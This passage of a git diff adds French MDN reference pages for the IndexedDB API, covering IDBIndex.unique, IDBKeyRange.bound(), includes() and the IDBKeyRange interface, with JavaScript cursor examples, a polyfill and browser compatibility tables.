+++ b/files/fr/web/api/idbindex/unique/index.html
@@ -0,0 +1,172 @@
+---
+title: IDBIndex.unique
+slug: Web/API/IDBIndex/unique
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBIndex/unique
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>unique</code></strong>, rattachée à l'interface <code>IDBIndex</code>, est un booléen qui indique si l'index utilisé permet d'avoir des clés dupliquées.</p>
+
+<p>Cette caractéristique est décidée lors de la création de l'index, avec la méthode {{domxref("IDBObjectStore.createIndex")}}. Cette méthode prend un paramètre optionnel, <code>unique</code>, qui, s'il vaut <code>true</code>, indique que l'index ne permettra pas d'avoir de clés dupliquées.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myIndex = objectStore.index('index');</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un booléen qui vaut <code>true</code> si l'index permet d'avoir des valeurs dupliquées pour une même clé ou <code>false</code> s'il n'est pas possible d'avoir de clés dupliquées.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on ouvre une transaction en lecture sur un magasin d'objets puis on récupère l'index <code>lName</code>. On ouvre alors un curseur sur l'index grâce à {{domxref("IDBIndex.openCursor")}} (cela fonctionne de façon analogue à l'ouverture d'un curseur sur le magasin d'objets avec {{domxref("IDBObjectStore.openCursor")}} sauf qu'ici, les enregistrements sont triés selon l'index et pas selon la clé primaire.</p>
+
+<p>On affiche le caractère unique des clé dans la console (ici, on voit que la propriété vaut <code>false</code>).</p>
+
+<p>Enfin, on parcourt chaque enregistrement et on insère les données dans le tableau HTML (pour voir un exemple complet, consulter <a href="https://github.com/mdn/IDBIndex-example">notre dépôt IDBIndex-example</a> (<a href="https://mdn.github.io/IDBIndex-example/">voir la démonstration <em>live</em></a>).</p>
+
+<pre class="brush: js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.unique);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Les éléments sont affichés.');
+    }
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-unique', 'unique')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/bound/index.html b/files/fr/web/api/idbkeyrange/bound/index.html
new file mode 100644
index 0000000000..6d59ada434
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/bound/index.html
@@ -0,0 +1,191 @@
+---
+title: IDBKeyRange.bound()
+slug: Web/API/IDBKeyRange/bound
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBKeyRange/bound
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>bound()</code></strong>, rattachée à l'interface {{domxref("IDBKeyRange")}}, renvoie un intervalle de clé délimité par une borne inférieure et une borne supérieure.</p>
+
+<p>L'intervalle peut être ouvert (les limites sont exclues) ou fermé (les limites sont incluses). Par défaut, l'intervalle est fermé.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myKeyRange = IDBKeyRange.bound(lower, upper, lowerOpen, upperOpen);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>lower</code></dt>
+ <dd>La limite inférieure de l'intervalle.</dd>
+ <dt><code>upper</code></dt>
+ <dd>La limite supérieure de l'intervalle.</dd>
+ <dt><code>lowerOpen</code> {{optional_inline}}</dt>
+ <dd>Si cette valeur vaut <code>false</code> (la valeur par defaut), l'intervalle contient la limite inférieure.</dd>
+ <dt><code>upperOpen</code> {{optional_inline}}</dt>
+ <dd>Si cette valeur vaut <code>false</code> (la valeur par défaut), l'intervalle contient la limite supérieure.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBKeyRange")}} qui représente l'intervalle de clé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>DataError</code></dt>
+ <dd>Cette exception {{domxref("DOMException")}} est levée si :
+ <ul>
+  <li>Une des limites passé n'est pas valide.</li>
+  <li>La limite inférieur est supèrieur à la limite supérieur.</li>
+  <li>Les limites correspondent et l'intervalle est ouvert.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on illustre comment créer un intervalle de clé. On déclare <code>keyRangeValue = IDBKeyRange.bound("A", "F");</code> ce qui représente un intervalle entre "A" et "F". Ensuite, on ouvre une transaction grâce à un objet {{domxref("IDBTransaction")}} puis on ouvre un magasin d'objets et on ouvre un curseur avec la méthode {{domxref("IDBObjectStore.openCursor")}} pour lequel on indique <code>keyRangeValue</code> comme intervalle de clé correspondant. Cela signifie que le curseur ne parcourera que les enregistrements dont les clés sont contenues dans cet intervalle. L'intervalle contient bien les valeurs "A" et "F" car les bornes sont incluses. Si on avait utilisé <code>IDBKeyRange.bound("A", "F", true, true);</code>, l'intervalle n'aurait pas inclus "A" et "F" mais uniquement les valeurs intermédiaires.</p>
+
+<pre class="brush: js">function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("A", "F");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments ont été affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<div>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBKeyRange-bound-IDBKeyRange-any-lower-any-upper-boolean-lowerOpen-boolean-upperOpen', 'bound()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/includes/index.html b/files/fr/web/api/idbkeyrange/includes/index.html
new file mode 100644
index 0000000000..5b6071eba0
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/includes/index.html
@@ -0,0 +1,153 @@
+---
+title: IDBKeyRange.includes()
+slug: Web/API/IDBKeyRange/includes
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBKeyRange/includes
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <code><strong>includes()</strong></code>, rattachée à l'interface {{domxref("IDBKeyRange")}}, renvoie un booléen si la clé est contenue dans un intervalle de clé.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myIncludesResult = myKeyRange.includes('A');</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>La clé dont on souhaite savoir si elle est dans l'intervalle.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une exception {{domxref("DOMException")}} de type {{domxref("DataError")}} lorsque la clé fournie n'est pas une clé valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var keyRangeValue = IDBKeyRange.bound('A', 'K', false, false);
+
+var monResultat = keyRangeValue.includes('F');
+// Renvoie true
+
+var monResultat = keyRangeValue.includes('W');
+// Renvoie false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-idbkeyrange-includes', 'includes()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>
+    <p>{{CompatChrome(52.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("47.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(52.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(52.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>La méhode <code>includes()</code> a été ajoutée à partir de la deuxième édition de la spécification d'Indexed DB. Pour les navigateurs qui ne prennent pas en charge cette fonctionnalité, on peut utiliser la prothèse suivante.</p>
+
+<pre class="brush: js">IDBKeyRange.prototype.includes = IDBKeyRange.prototype.includes || function(key) {
+  var r = this, c;
+  if (r.lower !== undefined) {
+    c = indexedDB.cmp(key, r.lower);
+    if (r.lowerOpen &amp;&amp; c &lt;= 0) return false;
+    if (!r.lowerOpen &amp;&amp; c &lt; 0) return false;
+  }
+  if (r.upper !== undefined) {
+    c = indexedDB.cmp(key, r.upper);
+    if (r.upperOpen &amp;&amp; c &gt;= 0) return false;
+    if (!r.upperOpen &amp;&amp; c &gt; 0) return false;
+  }
+  return true;
+};
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/index.html b/files/fr/web/api/idbkeyrange/index.html
new file mode 100644
index 0000000000..bec24f9b68
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/index.html
@@ -0,0 +1,197 @@
+---
+title: IDBKeyRange
+slug: Web/API/IDBKeyRange
+tags:
+  - API
+  - Database
+  - IDBKeyRange
+  - IndexedDB
+  - Interface
+  - Reference
+  - Storage
+  - TopicStub
+translation_of: Web/API/IDBKeyRange
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>L'interface <strong><code>IDBKeyRange</code></strong> de l'API <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a> représente un intervalle continue sur un type de donnée utilisé pour représenter des clés. Les enregistrements peuvent être récupérés depuis des objets {{domxref("IDBObjectStore")}} et {{domxref("IDBIndex")}} grâce à des clés ou à des intervalles de clé. Il est possible de préciser les bornes inférieure et supérieure de l'intervalle. Si les clés sont des chaînes de caractères, on pourrait ainsi parcourir l'ensemble des valeurs pour l'intervalle A–Z.</p>
+
+<p>Un intervalle de clé peut être une seule valeur ou un intervalle avec des bornes inférieure et supérieure. Si l'intervalle possède ces deux bornes, il est dit borné. S'il n'a aucune borne, il est non-borné. Un intervalle de clé borné peut être ouvert (les bornes sont exclues) ou fermé (les bornes sont inclues). Pour récupérer les différentes clés d'un intervalle donné, on peut utiliser les fragments de code suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Intervalle</th>
+   <th scope="col">Code</th>
+  </tr>
+  <tr>
+   <td>Toutes les clés ≤ <strong>x</strong></td>
+   <td>{{domxref("IDBKeyRange.upperBound")}}<code>(<strong>x</strong>)</code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés &lt; <strong>x</strong></td>
+   <td>{{domxref("IDBKeyRange.upperBound")}}<code>(<strong>x</strong>, true) </code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés ≥<strong> y</strong></td>
+   <td>{{domxref("IDBKeyRange.lowerBound")}}<code>(<strong>y</strong>)</code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés &gt;<strong> y</strong></td>
+   <td>{{domxref("IDBKeyRange.lowerBound")}}<code>(<strong>y</strong>, true)</code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés ≥ <strong>x</strong> &amp;&amp; ≤ <strong>y</strong></td>
+   <td>{{domxref("IDBKeyRange.bound")}}<code>(<strong>x</strong>, <strong>y</strong>)</code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés &gt; <strong>x</strong> &amp;&amp;&lt; <strong>y</strong></td>
+   <td>{{domxref("IDBKeyRange.bound")}}<code>(<strong>x</strong>, <strong>y</strong>, true, true)</code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés &gt; <strong>x</strong> &amp;&amp; ≤ <strong>y</strong></td>
+   <td>{{domxref("IDBKeyRange.bound")}}<code>(<strong>x</strong>, <strong>y</strong>, true, false)</code></td>
+  </tr>
+  <tr>
+   <td>Toutes les clés ≥ <strong>x</strong> &amp;&amp;&lt; <strong>y</strong></td>
+   <td>{{domxref("IDBKeyRange.bound")}}<code>(<strong>x</strong>, <strong>y</strong>, false, true)</code></td>
+  </tr>
+  <tr>
+   <td>La clé = <strong>z</strong></td>
+   <td>{{domxref("IDBKeyRange.only")}}<code>(<strong>z</strong>)</code></td>
+  </tr>
+ </thead>
+</table>
+
+<p>Une clé est contenue dans un intervalle de clé lorsque les conditions suivantes sont réunies :</p>
+
+<ul>
+ <li>La borne inférieure de l'intervalle de clé est :
+  <ul>
+   <li><code>undefined</code></li>
+   <li>Inférieure à la valeur de la clé</li>
+   <li>Égal à la valeur de la clé si <code>lowerOpen</code> est <code>false</code> (l'intervalle est fermé à gauche)</li>
+  </ul>
+ </li>
+ <li>La borne supérieure de l'intervalle de clé est :
+  <ul>
+   <li><code>undefined</code></li>
+   <li>Supérieure à la valeur de la clé</li>
+   <li>Égal à la valeur de la clé si <code>upperOpen</code> vaut <code>false</code> (l'intervalle est fermé à droite)</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBKeyRange.lower")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété fournit la borne inférieure de l'intervalle de clé.</dd>
+ <dt>{{domxref("IDBKeyRange.upper")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété fournit la borne supérieure de l'intervalle de clé.</dd>
+ <dt>{{domxref("IDBKeyRange.lowerOpen")}} {{readonlyInline}}</dt>
+ <dd>Cette méthode renvoie <code>false</code> si la borne inférieure est contenue dans l'intervalle de clé (autrement dit elle permet de vérifier si l'intervalle est ouvert à gauche).</dd>
+ <dt>{{domxref("IDBKeyRange.upperOpen")}} {{readonlyInline}}</dt>
+ <dd>Cette méthode renvoie <code>false</code> si la borne supérieure est contenue dans l'intervalle de clé (autrement dit elle permet de vérifier si l'intervalle est ouvert à droite).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Méthodes_statiques">Méthodes statiques</h3>
+
+<dl>
+ <dt>{{domxref("IDBKeyRange.bound()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel intervalle de clé avec une borne inférieure et une borne supérieure.</dd>
+ <dt>{{domxref("IDBKeyRange.only()")}}</dt>
+ <dd>Cette méthode crée un nouvel intervalle de clé qui ne contient qu'une valeur.</dd>
+ <dt>{{domxref("IDBKeyRange.lowerBound()")}}</dt>
+ <dd>Cette méthode crée un nouvel intervalle de clé avec une borne inférieure.</dd>
+ <dt>{{domxref("IDBKeyRange.upperBound()")}}</dt>
+ <dd>Cette méthode crée un nouvel intervalle de clé avec une borne supérieure.</dd>
+</dl>
+
+<h3 id="Méthodes_des_instances">Méthodes des instances</h3>
+
+
+
+<dl>
+ <dt>{{domxref("IDBKeyRange.includes()")}}</dt>
+ <dd>Cette méthode renvoie un booléen qui indique si la clé passée en argument est contenue dans l'intervalle de clé.</dd>
+</dl>
+
+
+
+<dl>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on montre comment utiliser un intervalle de clé. Ici, on déclare un objet <code>keyRangeValue</code> qui représente un intervalle pour les valeurs entre "A" et "F". On ouvre une transaction grâce à {{domxref("IDBTransaction")}}, on ouvre également un magasin d'objets puis un curseur avec la méthode {{domxref("IDBObjectStore.openCursor")}} pour lequel on indique que <code>keyRangeValue</code> est l'intervalle de clé à considérer. Cela signifie que le curseur récupèrera uniquement les enregistrements pour lesquels les clés sont contenues dans cet intervalle. Cet intervalle est fermé, il inclut les valeur "A" and "F" (on n'a pas indiqué que ces bornes étaient ouvertes). Si on avait utilisé <code>IDBKeyRange.bound("A", "F", true, true);</code>, l'intervalle serait ouvert et ne contiendrait pas "A" ou "F" mais uniquement les valeurs intermédiaires.</p>
+
+<pre class="brush: js notranslate">function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("A", "F");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '&lt;strong&gt;' + cursor.value.fThing + '&lt;/strong&gt;, ' + cursor.value.fRating;
+        list.appendChild(listItem);
+
+        cursor.continue();
+      } else {
+        console.log('Les éléments ont été affichés.');
+      }
+    };
+  };</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour un exemple complet qui utilise les intervalles de clé, vous pouvez consulter <a href="https://github.com/mdn/IDBKeyRange-example">le dépôt GitHub IDBKeyRange-example</a> (<a href="https://mdn.github.io/IDBKeyRange-example/">ainsi que la démonstration associée</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBKeyRange', 'IDBKeyRange')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#keyrange', 'IDBKeyRange')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Ajout de <code>includes()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.IDBKeyRange")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbkeyrange/lower/index.html b/files/fr/web/api/idbkeyrange/lower/index.html
new file mode 100644
index 0000000000..a3a607bf0b
--- /dev/null
+++ b/files/fr/web/api/idbkeyrange/lower/index.html
@@ -0,0 +1,164 @@
+---
+title: IDBKeyRange.lower
+slug: Web/API/IDBKeyRange/lower
+tags:
+  - API
+  - IDBKeyRange
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBKeyRange/lower
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>lower</code></strong>, rattachée à l'interface {{domxref("IDBKeyRange")}}, renvoie la borne inférieure de l'intervalle de clé.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
